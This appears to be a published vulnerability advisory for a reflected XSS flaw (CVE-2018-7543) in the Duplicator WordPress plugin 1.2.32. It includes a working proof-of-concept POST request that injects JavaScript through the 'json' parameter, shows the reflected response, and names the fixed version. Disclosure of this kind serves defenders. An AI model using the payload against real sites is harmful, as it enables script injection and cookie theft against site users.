WordPress Plugin Duplicator 1.2.32 - Cross-Site Scripting

# Exploit Title : Duplicator Wordpress Migration Plugin Reflected Cross Site Scripting (XSS)
# Date: 25-02-2018 
# Exploit Author : Stefan Broeder
# Contact : https://twitter.com/stefanbroeder
# Vendor Homepage: https://snapcreek.com/
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: 1.2.32
# CVE : CVE-2018-7543
# Category : webapps

Description
===========
Duplicator is a wordpress plugin with more than 1 million of active installations. Version 1.2.32 (and possibly previous versionss) are affected by a Reflected XSS vulnerability.

Vulnerable part of code
=======================
File: duplicator/installer/build/view.step4.php:254 allows direct injection of $_POST variable 'json'.

Impact
======
Arbitrary JavaScript code can be run on browser side if a user is tricked to click over a link or browse a URL under the attacker control.

Proof of Concept
============
In order to exploit this vulnerability, an attacker has to send the following request to the server:

POST /wp-content/plugins/duplicator/installer/build/view.step4.php HTTP/1.1
Host: <hostname>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wordpress_5c016e8f0f95f039102cbe8366c5c7f3=wp%7C1518599198<omissis>
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 91

json='a';};document.write(alert(document.cookie));MyViewModel%3dfunction(){this.status%3d''

The server replies as reported below:

HTTP/1.1 200 OK
Date: Mon, 12 Feb 2018 14:15:28 GMT
Server: Apache/2.4.29 (Debian)
Vary: Accept-Encoding
Content-Length: 10224
Connection: close
Content-Type: text/html; charset=UTF-8

...

<script>
MyViewModel = function() {
this.status = 'a';};document.write(alert(document.cookie));MyViewModel=function(){this.status='';
var errorCount = this.status.step2.query_errs || 0;
(errorCount >= 1 )
? $('#dup-step3-install-report-count').css('color', '#BE2323')
: $('#dup-step3-install-report-count').css('color', '#197713')
};
ko.applyBindings(new MyViewModel()); 
</script>

Solution
========

Update to version 1.2.33